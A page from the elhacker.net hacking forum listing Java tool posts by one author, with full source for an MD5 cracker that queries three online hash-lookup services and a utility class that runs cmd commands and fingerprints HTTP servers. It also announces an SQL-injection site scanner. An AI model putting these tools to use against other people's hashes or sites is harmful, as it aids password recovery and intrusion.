elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Temas
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ... 43
31  Programación / Java / [Java] SQLI Scanner 0.4 en: 5 Marzo 2016, 16:15 pm
Un simple programa en Java para buscar paginas vulnerables a SQLI usando Google o Bing.

Una imagen :



Si lo quieren bajar el proyecto con el codigo fuente lo pueden hacer de aca.
32  Programación / Java / [Java] LocateIP 0.2 en: 20 Febrero 2016, 15:51 pm
Un simple programa en Java para localizar una IP y sus DNS.

Una imagen :



Si quieren bajar el proyecto con el codigo y el programa final lo pueden hacer de aca.
33  Programación / Java / [Java] HTTP FingerPrinting 0.2 en: 5 Febrero 2016, 15:11 pm
Un simple programa en Java para realizar HTTP FingerPrinting a una pagina.

Una imagen :



Si lo quieren bajar el proyecto con el codigo fuente lo pueden hacer de aca.
34  Programación / Java / [Java] MD5 Cracker 0.2 en: 22 Enero 2016, 16:18 pm
Un simple programa en Java para crackear un hash MD5 mediante 3 servicios online.

Una imagen :



El codigo :

Código
  1. // MD5 Cracker 0.2
  2. // (C) Doddy Hackman 2015
  3. // Credits : Based in the services ...
  4. // http://md5online.net/index.php
  5. // http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php
  6. // http://md5decryption.com/index.php
  7. package MD5_Cracker;
  8.  
  9. import java.util.regex.Matcher;
  10. import java.util.regex.Pattern;
  11. import javax.swing.JOptionPane;
  12. import javax.swing.SwingUtilities;
  13. import org.jvnet.substance.SubstanceLookAndFeel;
  14.  
  15. /**
  16.  *
  17.  * @author Doddy
  18.  */
  19. public class Home extends javax.swing.JFrame {
  20.  
  21.    /**
  22.      * Creates new form Home
  23.      */
  24.    public Home() {
  25.        initComponents();
  26.    }
  27.  
  28.    /**
  29.      * This method is called from within the constructor to initialize the form.
  30.      * WARNING: Do NOT modify this code. The content of this method is always
  31.      * regenerated by the Form Editor.
  32.      */
  33.    @SuppressWarnings("unchecked")
  34.    // <editor-fold defaultstate="collapsed" desc="Generated Code">                          
  35.    private void initComponents() {
  36.  
  37.        jPanel3 = new javax.swing.JPanel();
  38.        jPanel1 = new javax.swing.JPanel();
  39.        txtMD5 = new javax.swing.JTextField();
  40.        btnCrack = new javax.swing.JButton();
  41.        jPanel2 = new javax.swing.JPanel();
  42.        jLabel1 = new javax.swing.JLabel();
  43.        jLabel2 = new javax.swing.JLabel();
  44.        jLabel3 = new javax.swing.JLabel();
  45.        txtPassword1 = new javax.swing.JTextField();
  46.        txtPassword2 = new javax.swing.JTextField();
  47.        txtPassword3 = new javax.swing.JTextField();
  48.        jPanel4 = new javax.swing.JPanel();
  49.        status = new javax.swing.JLabel();
  50.  
  51.        javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
  52.        jPanel3.setLayout(jPanel3Layout);
  53.        jPanel3Layout.setHorizontalGroup(
  54.            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  55.            .addGap(0, 100, Short.MAX_VALUE)
  56.        );
  57.        jPanel3Layout.setVerticalGroup(
  58.            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  59.            .addGap(0, 100, Short.MAX_VALUE)
  60.        );
  61.  
  62.        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
  63.        setTitle("MD5 Cracker 0.2 (C) Doddy Hackman 2015");
  64.        setResizable(false);
  65.  
  66.        jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Enter MD5", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.TOP));
  67.  
  68.        btnCrack.setText("Crack");
  69.        btnCrack.addActionListener(new java.awt.event.ActionListener() {
  70.            public void actionPerformed(java.awt.event.ActionEvent evt) {
  71.                btnCrackActionPerformed(evt);
  72.            }
  73.        });
  74.  
  75.        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
  76.        jPanel1.setLayout(jPanel1Layout);
  77.        jPanel1Layout.setHorizontalGroup(
  78.            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  79.            .addGroup(jPanel1Layout.createSequentialGroup()
  80.                .addContainerGap()
  81.                .addComponent(txtMD5, javax.swing.GroupLayout.PREFERRED_SIZE, 280, javax.swing.GroupLayout.PREFERRED_SIZE)
  82.                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  83.                .addComponent(btnCrack, javax.swing.GroupLayout.DEFAULT_SIZE, 75, Short.MAX_VALUE)
  84.                .addContainerGap())
  85.        );
  86.        jPanel1Layout.setVerticalGroup(
  87.            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  88.            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel1Layout.createSequentialGroup()
  89.                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  90.                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  91.                    .addComponent(txtMD5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
  92.                    .addComponent(btnCrack))
  93.                .addContainerGap())
  94.        );
  95.  
  96.        jPanel2.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Result", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.TOP));
  97.  
  98.        jLabel1.setText("md5online.net ->");
  99.  
  100.        jLabel2.setText("md5.my-addr.co ->");
  101.  
  102.        jLabel3.setText("md5decryption.com ->");
  103.  
  104.        txtPassword1.setEditable(false);
  105.  
  106.        txtPassword2.setEditable(false);
  107.  
  108.        txtPassword3.setEditable(false);
  109.  
  110.        javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
  111.        jPanel2.setLayout(jPanel2Layout);
  112.        jPanel2Layout.setHorizontalGroup(
  113.            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  114.            .addGroup(jPanel2Layout.createSequentialGroup()
  115.                .addGap(28, 28, 28)
  116.                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
  117.                    .addGroup(jPanel2Layout.createSequentialGroup()
  118.                        .addComponent(jLabel3)
  119.                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
  120.                        .addComponent(txtPassword3))
  121.                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
  122.                        .addComponent(jLabel2)
  123.                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
  124.                        .addComponent(txtPassword2))
  125.                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
  126.                        .addComponent(jLabel1)
  127.                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
  128.                        .addComponent(txtPassword1, javax.swing.GroupLayout.PREFERRED_SIZE, 229, javax.swing.GroupLayout.PREFERRED_SIZE)))
  129.                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
  130.        );
  131.        jPanel2Layout.setVerticalGroup(
  132.            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  133.            .addGroup(jPanel2Layout.createSequentialGroup()
  134.                .addContainerGap()
  135.                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  136.                    .addComponent(jLabel1)
  137.                    .addComponent(txtPassword1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
  138.                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
  139.                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  140.                    .addComponent(jLabel2)
  141.                    .addComponent(txtPassword2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
  142.                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
  143.                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
  144.                    .addComponent(jLabel3)
  145.                    .addComponent(txtPassword3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
  146.                .addContainerGap(15, Short.MAX_VALUE))
  147.        );
  148.  
  149.        jPanel4.setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED));
  150.  
  151.        status.setText("[+] Program Ready");
  152.  
  153.        javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);
  154.        jPanel4.setLayout(jPanel4Layout);
  155.        jPanel4Layout.setHorizontalGroup(
  156.            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  157.            .addGroup(jPanel4Layout.createSequentialGroup()
  158.                .addComponent(status)
  159.                .addGap(0, 0, Short.MAX_VALUE))
  160.        );
  161.        jPanel4Layout.setVerticalGroup(
  162.            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  163.            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel4Layout.createSequentialGroup()
  164.                .addGap(0, 0, Short.MAX_VALUE)
  165.                .addComponent(status))
  166.        );
  167.  
  168.        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
  169.        getContentPane().setLayout(layout);
  170.        layout.setHorizontalGroup(
  171.            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  172.            .addGroup(layout.createSequentialGroup()
  173.                .addContainerGap()
  174.                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  175.                    .addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  176.                    .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
  177.                .addContainerGap())
  178.            .addComponent(jPanel4, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  179.        );
  180.        layout.setVerticalGroup(
  181.            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
  182.            .addGroup(layout.createSequentialGroup()
  183.                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
  184.                .addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
  185.                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  186.                .addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
  187.                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
  188.                .addComponent(jPanel4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
  189.                .addGap(0, 0, 0))
  190.        );
  191.  
  192.        pack();
  193.    }// </editor-fold>                        
  194.  
  195.    private void btnCrackActionPerformed(java.awt.event.ActionEvent evt) {                                        
  196.  
  197.        DH_Tools tools = new DH_Tools();
  198.  
  199.        if ("".equals(txtMD5.getText())) {
  200.            JOptionPane.showMessageDialog(null, "Write MD5");
  201.        } else {
  202.  
  203.            SwingUtilities.updateComponentTreeUI(this);
  204.            status.setText("[+] Cracking ...");
  205.  
  206.            String md5 = txtMD5.getText();
  207.  
  208.            String code1 = tools.tomar("http://md5online.net/index.php", "pass=" + md5 + "&option=hash2text&send=Submit");
  209.  
  210.            Pattern search = null;
  211.            Matcher regex = null;
  212.  
  213.            search = Pattern.compile("pass : <b>(.*?)<\\/b>");
  214.            regex = search.matcher(code1);
  215.            if (regex.find()) {
  216.                txtPassword1.setText(regex.group(1));
  217.            } else {
  218.                txtPassword1.setText("Not Found");
  219.            }
  220.  
  221.            String code2 = tools.tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php", "md5=" + md5);
  222.  
  223.            search = Pattern.compile("<span class='middle_title'>Hashed string<\\/span>: (.*?)<\\/div>");
  224.            regex = search.matcher(code2);
  225.            if (regex.find()) {
  226.                txtPassword2.setText(regex.group(1));
  227.            } else {
  228.                txtPassword2.setText("Not Found");
  229.            }
  230.  
  231.            String code3 = tools.tomar("http://md5decryption.com/index.php", "hash=" + md5 + "&submit=Decrypt It!");
  232.  
  233.            search = Pattern.compile("Decrypted Text: <\\/b>(.*?)<\\/font>");
  234.            regex = search.matcher(code3);
  235.            if (regex.find()) {
  236.                txtPassword3.setText(regex.group(1));
  237.            } else {
  238.                txtPassword3.setText("Not Found");
  239.            }
  240.  
  241.            SwingUtilities.updateComponentTreeUI(this);
  242.            status.setText("[+] Finished");
  243.  
  244.        }
  245.  
  246.  
  247.    }                                        
  248.  
  249.    /**
  250.      * @param args the command line arguments
  251.      */
  252.    public static void main(String args[]) {
  253.        /* Set the Nimbus look and feel */
  254.        //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
  255.        /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
  256.          * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
  257.          */
  258.        try {
  259.            for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
  260.                if ("Nimbus".equals(info.getName())) {
  261.                    javax.swing.UIManager.setLookAndFeel(info.getClassName());
  262.                    break;
  263.                }
  264.            }
  265.        } catch (ClassNotFoundException ex) {
  266.            java.util.logging.Logger.getLogger(Home.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  267.        } catch (InstantiationException ex) {
  268.            java.util.logging.Logger.getLogger(Home.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  269.        } catch (IllegalAccessException ex) {
  270.            java.util.logging.Logger.getLogger(Home.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  271.        } catch (javax.swing.UnsupportedLookAndFeelException ex) {
  272.            java.util.logging.Logger.getLogger(Home.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
  273.        }
  274.        //</editor-fold>
  275.  
  276.        /* Create and display the form */
  277.        Home.setDefaultLookAndFeelDecorated(true);
  278.        String skin = "org.jvnet.substance.skin.RavenGraphiteGlassSkin";
  279.        SubstanceLookAndFeel.setSkin(skin);
  280.        SubstanceLookAndFeel.setCurrentWatermark("org.jvnet.substance.watermark.SubstanceMetalWallWatermark");
  281.  
  282.        java.awt.EventQueue.invokeLater(new Runnable() {
  283.            public void run() {
  284.                new Home().setVisible(true);
  285.            }
  286.        });
  287.    }
  288.  
  289.    // Variables declaration - do not modify                    
  290.    private javax.swing.JButton btnCrack;
  291.    private javax.swing.JLabel jLabel1;
  292.    private javax.swing.JLabel jLabel2;
  293.    private javax.swing.JLabel jLabel3;
  294.    private javax.swing.JPanel jPanel1;
  295.    private javax.swing.JPanel jPanel2;
  296.    private javax.swing.JPanel jPanel3;
  297.    private javax.swing.JPanel jPanel4;
  298.    private javax.swing.JLabel status;
  299.    private javax.swing.JTextField txtMD5;
  300.    private javax.swing.JTextField txtPassword1;
  301.    private javax.swing.JTextField txtPassword2;
  302.    private javax.swing.JTextField txtPassword3;
  303.    // End of variables declaration                  
  304. }
  305.  
  306. // The End ?
  307.  

Si quieren bajar el programa lo pueden hacer de aca.
35  Programación / Java / [Java] Class DH Tools 0.2 en: 15 Enero 2016, 16:21 pm
Mi primer clase en Java , se llama DH Tools y tiene las siguientes opciones :

  • Realizar una peticion GET y guardar el contenido
  • Realizar una peticion POST y guardar el contenido
  • Crear o escribir archivos
  • Leer archivos
  • Ejecutar comandos y leer su respuesta
  • HTTP FingerPrinting
  • Leer el codigo de respuesta de una URL
  • Borrar repetidos en un ArrayList
  • Cortar las URL en un ArrayList a partir del query
  • Split casero xD
  • Descargar archivos
  • Capturar el archivo de una URL
  • URI Split
  • MD5 Encode
  • MD5 File
  • Get IP

El codigo de la clase :

Código
  1. // Class : DH Tools
  2. // Version : 0.2
  3. // (C) Doddy Hackman 2015
  4. // Functions :
  5. //
  6. //public String toma(String link)
  7. //public String tomar(String pagina, String data)
  8. //public void savefile(String ruta, String texto)
  9. //public String read_file(String ruta)
  10. //public String console(String command)
  11. //public String httpfinger(String target)
  12. //public Integer response_code(String page)
  13. //public ArrayList repes(ArrayList array)
  14. //public ArrayList cortar(ArrayList array)
  15. //public String regex(String code, String deaca, String hastaaca)
  16. //public Boolean download(String url, File savefile)
  17. //public String extract_file_by_url(String url)
  18. //public String uri_split(String link, String opcion)
  19. //public String md5_encode(String text)
  20. //public String md5_file(String file)
  21. //public String get_ip(String hostname)
  22. //
  23. package dhtools;
  24.  
  25. import java.io.*;
  26. import java.net.*;
  27. import java.nio.channels.Channels;
  28. import java.nio.channels.ReadableByteChannel;
  29. import java.util.ArrayList;
  30. import java.util.Scanner;
  31. import java.util.regex.Matcher;
  32. import java.util.regex.Pattern;
  33. import java.security.*;
  34.  
  35. public class DH_Tools {
  36.  
  37.    public String toma(String link) {
  38.        String re;
  39.        StringBuffer conte = new StringBuffer(40);
  40.        try {
  41.            URL url = new URL(link);
  42.            URLConnection nave = url.openConnection();
  43.            nave.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
  44.            BufferedReader leyendo = new BufferedReader(
  45.                    new InputStreamReader(nave.getInputStream()));
  46.            while ((re = leyendo.readLine()) != null) {
  47.                conte.append(re);
  48.            }
  49.            leyendo.close();
  50.        } catch (Exception e) {
  51.            //
  52.        }
  53.        return conte.toString();
  54.    }
  55.  
  56.    public String tomar(String pagina, String data) {
  57.        // Credits : Function based in http://www.mkyong.com/java/how-to-send-http-request-getpost-in-java/
  58.        String respuesta = "";
  59.  
  60.        try {
  61.            URL url_now = new URL(pagina);
  62.            HttpURLConnection nave = (HttpURLConnection) url_now.openConnection();
  63.  
  64.            nave.setRequestMethod("POST");
  65.            nave.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
  66.  
  67.            nave.setDoOutput(true);
  68.            DataOutputStream send = new DataOutputStream(nave.getOutputStream());
  69.            send.writeBytes(data);
  70.            send.flush();
  71.            send.close();
  72.  
  73.            BufferedReader leyendo = new BufferedReader(new InputStreamReader(nave.getInputStream()));
  74.            StringBuffer code = new StringBuffer();
  75.            String linea;
  76.  
  77.            while ((linea = leyendo.readLine()) != null) {
  78.                code.append(linea);
  79.            }
  80.            leyendo.close();
  81.            respuesta = code.toString();
  82.        } catch (Exception e) {
  83.            //
  84.        }
  85.        return respuesta;
  86.    }
  87.  
  88.    public void savefile(String ruta, String texto) {
  89.  
  90.        FileWriter escribir = null;
  91.        File archivo = null;
  92.  
  93.        try {
  94.  
  95.            archivo = new File(ruta);
  96.  
  97.            if (!archivo.exists()) {
  98.                archivo.createNewFile();
  99.            }
  100.  
  101.            escribir = new FileWriter(archivo, true);
  102.            escribir.write(texto);
  103.            escribir.flush();
  104.            escribir.close();
  105.  
  106.        } catch (Exception e) {
  107.            //
  108.        }
  109.    }
  110.  
  111.    public String read_file(String ruta) {
  112.        String contenido = null;
  113.        try {
  114.            Scanner leyendo = new Scanner(new FileReader(ruta));
  115.            contenido = leyendo.next();
  116.        } catch (Exception e) {
  117.            //
  118.        }
  119.        return contenido;
  120.    }
  121.  
  122.    public String console(String command) {
  123.        String contenido = null;
  124.        try {
  125.            Process proceso = Runtime.getRuntime().exec("cmd /c " + command);
  126.            proceso.waitFor();
  127.            BufferedReader leyendo = new BufferedReader(
  128.                    new InputStreamReader(proceso.getInputStream()));
  129.            String linea;
  130.            StringBuffer code = new StringBuffer();
  131.            while ((linea = leyendo.readLine()) != null) {
  132.                code.append(linea);
  133.            }
  134.            contenido = code.toString();
  135.        } catch (Exception e) {
  136.            //
  137.        }
  138.        return contenido;
  139.    }
  140.  
  141.    public String httpfinger(String target) {
  142.  
  143.        String resultado = "";
  144.  
  145.        //http://www.mkyong.com/java/how-to-get-http-response-header-in-java/
  146.        try {
  147.  
  148.            URL page = new URL(target);
  149.            URLConnection nave = page.openConnection();
  150.  
  151.            String server = nave.getHeaderField("Server");
  152.            String etag = nave.getHeaderField("ETag");
  153.            String content_length = nave.getHeaderField("Content-Length");
  154.            String expires = nave.getHeaderField("Expires");
  155.            String last_modified = nave.getHeaderField("Last-Modified");
  156.            String connection = nave.getHeaderField("Connection");
  157.            String powered = nave.getHeaderField("X-Powered-By");
  158.            String pragma = nave.getHeaderField("Pragma");
  159.            String cache_control = nave.getHeaderField("Cache-Control");
  160.            String date = nave.getHeaderField("Date");
  161.            String vary = nave.getHeaderField("Vary");
  162.            String content_type = nave.getHeaderField("Content-Type");
  163.            String accept_ranges = nave.getHeaderField("Accept-Ranges");
  164.  
  165.            if (server != null) {
  166.                resultado += "[+] Server : " + server + "\n";
  167.            }
  168.            if (etag != null) {
  169.                resultado += "[+] E-tag : " + etag + "\n";
  170.            }
  171.            if (content_length != null) {
  172.                resultado += "[+] Content-Length : " + content_length + "\n";
  173.            }
  174.  
  175.            if (expires != null) {
  176.                resultado += "[+] Expires : " + expires + "\n";
  177.            }
  178.  
  179.            if (last_modified != null) {
  180.                resultado += "[+] Last Modified : " + last_modified + "\n";
  181.            }
  182.  
  183.            if (connection != null) {
  184.                resultado += "[+] Connection : " + connection + "\n";
  185.            }
  186.  
  187.            if (powered != null) {
  188.                resultado += "[+] Powered : " + powered + "\n";
  189.            }
  190.  
  191.            if (pragma != null) {
  192.                resultado += "[+] Pragma : " + pragma + "\n";
  193.            }
  194.  
  195.            if (cache_control != null) {
  196.                resultado += "[+] Cache control : " + cache_control + "\n";
  197.            }
  198.  
  199.            if (date != null) {
  200.                resultado += "[+] Date : " + date + "\n";
  201.            }
  202.            if (vary != null) {
  203.                resultado += "[+] Vary : " + vary + "\n";
  204.            }
  205.            if (content_type != null) {
  206.                resultado += "[+] Content-Type : " + content_type + "\n";
  207.            }
  208.            if (accept_ranges != null) {
  209.                resultado += "[+] Accept Ranges : " + accept_ranges + "\n";
  210.            }
  211.  
  212.        } catch (Exception e) {
  213.            //
  214.        }
  215.  
  216.        return resultado;
  217.  
  218.    }
  219.  
  220.    public Integer response_code(String page) {
  221.        Integer response = 0;
  222.        try {
  223.            URL url = new URL(page);
  224.            URLConnection nave1 = url.openConnection();
  225.            HttpURLConnection nave2 = (HttpURLConnection) nave1;
  226.            nave2.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
  227.            response = nave2.getResponseCode();
  228.        } catch (Exception e) {
  229.            response = 404;
  230.        }
  231.        return response;
  232.    }
  233.  
  234.    public ArrayList repes(ArrayList array) {
  235.        Object[] listando = array.toArray();
  236.        for (Object item : listando) {
  237.            if (array.indexOf(item) != array.lastIndexOf(item)) {
  238.                array.remove(array.lastIndexOf(item));
  239.            }
  240.        }
  241.        return array;
  242.    }
  243.  
  244.    public ArrayList cortar(ArrayList array) {
  245.        ArrayList array2 = new ArrayList();
  246.        for (int i = 0; i < array.size(); i++) {
  247.            String code = (String) array.get(i);
  248.            Pattern regex1 = null;
  249.            Matcher regex2 = null;
  250.            regex1 = Pattern.compile("(.*?)=(.*?)");
  251.            regex2 = regex1.matcher(code);
  252.            if (regex2.find()) {
  253.                array2.add(regex2.group(1) + "=");
  254.            }
  255.        }
  256.        return array2;
  257.    }
  258.  
  259.    public String regex(String code, String deaca, String hastaaca) {
  260.        String resultado = "";
  261.        Pattern regex1 = null;
  262.        Matcher regex2 = null;
  263.        regex1 = Pattern.compile(deaca + "(.*?)" + hastaaca);
  264.        regex2 = regex1.matcher(code);
  265.        if (regex2.find()) {
  266.            resultado = regex2.group(1);
  267.        }
  268.        return resultado;
  269.    }
  270.  
  271.    public Boolean download(String url, File savefile) {
  272.        // Credits : Based on http://stackoverflow.com/questions/921262/how-to-download-and-save-a-file-from-internet-using-java
  273.        // Thanks to Brian Risk
  274.        try {
  275.            URL download_page = new URL(url);
  276.            ReadableByteChannel down1 = Channels.newChannel(download_page.openStream());
  277.            FileOutputStream down2 = new FileOutputStream(savefile);
  278.            down2.getChannel().transferFrom(down1, 0, Long.MAX_VALUE);
  279.            down1.close();
  280.            down2.close();
  281.            return true;
  282.        } catch (IOException e) {
  283.            return false;
  284.        }
  285.    }
  286.  
  287.    public String extract_file_by_url(String url) {
  288.        return url.substring(url.lastIndexOf('/') + 1);
  289.    }
  290.  
  291.    public String uri_split(String link, String opcion) {
  292.        String resultado = "";
  293.        try {
  294.            URL url = new URL(link);
  295.            if (opcion == "protocol") {
  296.                resultado = url.getProtocol();
  297.            } else if (opcion == "authority") {
  298.                resultado = url.getAuthority();
  299.            } else if (opcion == "host") {
  300.                resultado = url.getHost();
  301.            } else if (opcion == "port") {
  302.                resultado = String.valueOf(url.getPort());
  303.            } else if (opcion == "path") {
  304.                resultado = url.getPath();
  305.            } else if (opcion == "query") {
  306.                resultado = url.getQuery();
  307.            } else if (opcion == "filename") {
  308.                resultado = url.getFile();
  309.            } else if (opcion == "ref") {
  310.                resultado = url.getRef();
  311.            } else {
  312.                resultado = "Error";
  313.            }
  314.  
  315.        } catch (Exception e) {
  316.            //
  317.        }
  318.        return resultado;
  319.    }
  320.  
  321.    public String md5_encode(String text) {
  322.        // Credits : Based on http://www.avajava.com/tutorials/lessons/how-do-i-generate-an-md5-digest-for-a-string.html
  323.        StringBuffer string_now = null;
  324.        try {
  325.            MessageDigest generate = MessageDigest.getInstance("MD5");
  326.            generate.update(text.getBytes());
  327.            byte[] result = generate.digest();
  328.            string_now = new StringBuffer();
  329.            for (byte line : result) {
  330.                string_now.append(String.format("%02x", line & 0xff));
  331.            }
  332.        } catch (Exception e) {
  333.            //
  334.        }
  335.        return string_now.toString();
  336.    }
  337.  
  338.    public String md5_file(String file) {
  339.        //Credits : Based on http://stackoverflow.com/questions/304268/getting-a-files-md5-checksum-in-java
  340.        // Thanks to
  341.        String resultado = "";
  342.        try {
  343.            MessageDigest convert = MessageDigest.getInstance("MD5");
  344.            FileInputStream file_now = new FileInputStream(file);
  345.  
  346.            byte[] bytes_now = new byte[1024];
  347.  
  348.            int now_now = 0;
  349.            while ((now_now = file_now.read(bytes_now)) != -1) {
  350.                convert.update(bytes_now, 0, now_now);
  351.            };
  352.            byte[] converting = convert.digest();
  353.            StringBuffer result = new StringBuffer();
  354.            for (int i = 0; i < converting.length; i++) {
  355.                result.append(Integer.toString((converting[i] & 0xff) + 0x100, 16).substring(1));
  356.            }
  357.            resultado = result.toString();
  358.        } catch (Exception e) {
  359.            //
  360.        }
  361.        return resultado;
  362.    }
  363.  
  364.    public String get_ip(String hostname) {
  365.        String resultado = "";
  366.        try {
  367.            InetAddress getting_ip = InetAddress.getByName(hostname);
  368.            resultado = getting_ip.getHostAddress();
  369.        } catch (Exception e) {
  370.            //
  371.        }
  372.        return resultado;
  373.    }
  374. }
  375.  
  376. // The End ?
  377.  

Ejemplos de uso :

Código
  1. package dhtools;
  2.  
  3. import java.util.ArrayList;
  4. import java.util.Collections;
  5.  
  6. public class Main {
  7.  
  8.    public static void main(String[] args) {
  9.        DH_Tools tools = new DH_Tools();
  10.        //String codigo = tools.toma("http://localhost/");
  11.        //String codigo = tools.tomar("http://localhost/login.php", "usuario=test&password=dsdsads&control=Login");
  12.        //tools.savefile("c:/xampp/texto.txt","texto");
  13.        //String codigo = tools.read_file("c:/xampp/texto.txt");
  14.        //String codigo = tools.console("ver");
  15.        //String codigo = tools.httpfinger("http://www.petardas.com");
  16.        /*
  17.          ArrayList array = new ArrayList();
  18.          Collections.addAll(array, "http://localhost/sql.php?id=dsaadsds", "b", "http://localhost/sql.php?id=dsaadsds", "c");
  19.          ArrayList array2 = tools.repes(tools.cortar(array));
  20.          for (int i = 0; i < array2.size(); i++) {
  21.          System.out.println(array2.get(i));
  22.          }
  23.          */
  24.        //System.out.println(tools.regex("1sadasdsa2","1","2"));
  25.        //System.out.println(tools.response_code("http://www.petardas.com/"));
  26.        /*
  27.          File savefile = new File("c:/xampp/*****.avi");
  28.          if(tools.download("http://localhost/test.avi",savefile)) {
  29.          System.out.println("yeah");
  30.          }
  31.          */
  32.  
  33.        //System.out.println(tools.extract_file_by_url("http://localhost/dsaads/dsadsads/index.php"));
  34.        //System.out.println(tools.uri_split("http://localhost/index.php?id=dadsdsa","query"));
  35.        //System.out.println(tools.md5_encode("123"));
  36.        //System.out.println(tools.md5_file("c:\\xampp\\texto.txt"));
  37.        //System.out.println(tools.get_ip("www.petardas.com"));
  38.    }
  39.  
  40. }
  41.  

Eso seria todo.
36  Programación / PHP / [PHP] Ban System 0.3 en: 8 Enero 2016, 19:22 pm
Un simple script en PHP para banear una IP en una pagina.

Una imagen :



Los codigos :

index.php

Código
  1. <?php
  2.  
